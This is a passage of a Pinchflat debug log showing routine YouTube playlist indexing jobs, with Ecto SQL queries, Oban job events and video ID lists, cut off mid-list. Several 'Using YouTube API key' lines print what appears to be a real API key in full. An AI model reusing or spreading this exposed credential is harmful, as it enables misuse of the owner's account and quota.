s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 16:37:04.714 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:04.714 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:04.714 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:04.714 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 16:37:04.714 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:04.714 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:04.777 [debug] QUERY OK source="media_items" db=0.2ms idle=63.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 16:37:04.778 [debug] QUERY OK source="media_items" db=0.1ms idle=64.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 16:37:04.779 [debug] QUERY OK source="tasks" db=0.1ms idle=64.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800013, 42, ~U[2026-02-10 22:37:04Z], ~U[2026-02-10 22:37:04Z]] 16:37:04.779 [info] {"args":{"id":42},"id":3799974,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":160624,"event":"job:stop","queue_time":469938,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:04.785 [info] {"args":{"id":22},"id":3799976,"meta":{},"system_time":1770763024785645611,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:04.785 [debug] QUERY OK source="sources" db=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 16:37:04.786 [debug] QUERY OK source="settings" db=0.2ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:04.786 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:04.786 [debug] QUERY OK source="settings" db=0.2ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:04.786 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 16:37:04.786 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:04.787 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:04.934 [debug] QUERY OK source="media_items" db=0.5ms idle=148.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 16:37:04.935 [debug] QUERY OK source="media_items" db=0.2ms idle=149.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 16:37:04.936 [debug] QUERY OK source="tasks" db=0.1ms idle=149.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800014, 13, ~U[2026-02-10 22:37:04Z], ~U[2026-02-10 22:37:04Z]] 16:37:04.936 [info] {"args":{"id":13},"id":3799975,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":223020,"event":"job:stop","queue_time":476660,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:05.025 [debug] QUERY OK source="media_items" db=0.5ms idle=88.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 16:37:05.025 [debug] QUERY OK source="media_items" db=0.3ms idle=89.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 16:37:05.026 [debug] QUERY OK source="tasks" db=0.1ms idle=83.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800015, 22, ~U[2026-02-10 22:37:05Z], ~U[2026-02-10 22:37:05Z]] 16:37:05.026 [info] {"args":{"id":22},"id":3799976,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":241106,"event":"job:stop","queue_time":460644,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:06.621 [info] {"args":{"id":14},"id":3799977,"meta":{},"system_time":1770763026621746742,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:06.622 [debug] QUERY OK source="sources" db=0.1ms idle=1595.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 16:37:06.622 [debug] QUERY OK source="settings" db=0.1ms idle=1589.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:06.622 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:06.622 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:06.622 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 16:37:06.622 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:06.622 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:06.715 [debug] QUERY OK source="media_items" db=0.4ms idle=92.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 16:37:06.716 [debug] QUERY OK source="media_items" db=1.0ms idle=93.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 16:37:06.717 [debug] QUERY OK source="tasks" db=0.4ms idle=94.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800016, 14, ~U[2026-02-10 22:37:06Z], ~U[2026-02-10 22:37:06Z]] 16:37:06.717 [info] {"args":{"id":14},"id":3799977,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":96067,"event":"job:stop","queue_time":552719,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:07.622 [info] {"args":{"id":32},"id":3799978,"meta":{},"system_time":1770763027622662575,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:07.623 [debug] QUERY OK source="sources" db=0.1ms idle=905.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 16:37:07.623 [debug] QUERY OK source="settings" db=0.1ms idle=905.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:07.623 [debug] QUERY OK source="media_profiles" db=0.0ms idle=899.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:07.623 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:07.623 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 16:37:07.623 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:07.623 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:07.774 [debug] QUERY OK source="media_items" db=0.7ms idle=151.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", "zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", 